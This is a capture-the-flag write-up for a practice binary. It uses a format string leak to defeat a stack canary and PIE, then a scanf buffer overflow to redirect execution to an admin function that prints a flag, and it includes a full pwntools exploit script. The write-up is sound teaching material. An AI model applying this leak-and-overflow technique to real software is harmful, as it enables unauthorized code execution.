Give this challenge a try! This challenge provides good practice in determining what security measures are in place, identifying vulnerabilities, etc. Try to independently write this exploit from start to finish. If you need help, a shallow solution will be available below.
checksec shows a canary and PIE are enabled. It appears to be a simple login system.
Both inputs use scanf, which doesn't check size. The scanf regex string is %s[^\n], which scans for a string with a newline at the end. Then, it ignores the newline and stores the string in the buffer.
The first input is subject to the format string vulnerability. The second input will be used for the buffer overflow. Based on the second input, the padding is 0x38 bytes to the canary (rbp-0x8) and the canary is 0x8 bytes from the return pointer (rbp+0x8).
Doing some quick math, we get that the canary's format offset is 15 and the PIE leak is 19. This makes the format string %15$p|%19$p.
From here, we need to receive the leak and parse it for each value.
Then, write a standard canary payload with the canary's padding, the canary, the padding to the return, and then return to admin. The admin function loads flag.txt into memory and prints it.
Here is the exploit I used to accomplish this:
from pwn import * elf = context.binary = ELF("./chall") p = process() p.recvuntil(b"Username: ") p.sendline(b"%15$p|%19$p") leak = p.recvuntil(b", Password", drop=True).decode().strip().split("|") elf.address = int(leak[1], 16) - elf.sym.main log.success("BASE:" + hex(elf.address)) payload = b"A" * 0x38 payload += p64(int(leak[0], 16)) payload += b"B" * 8 payload += p64(elf.sym.admin) p.sendline(payload) p.interactive()
This gives us the flag:

ret gadget:payload += p64(elf.sym['_init'] + 22)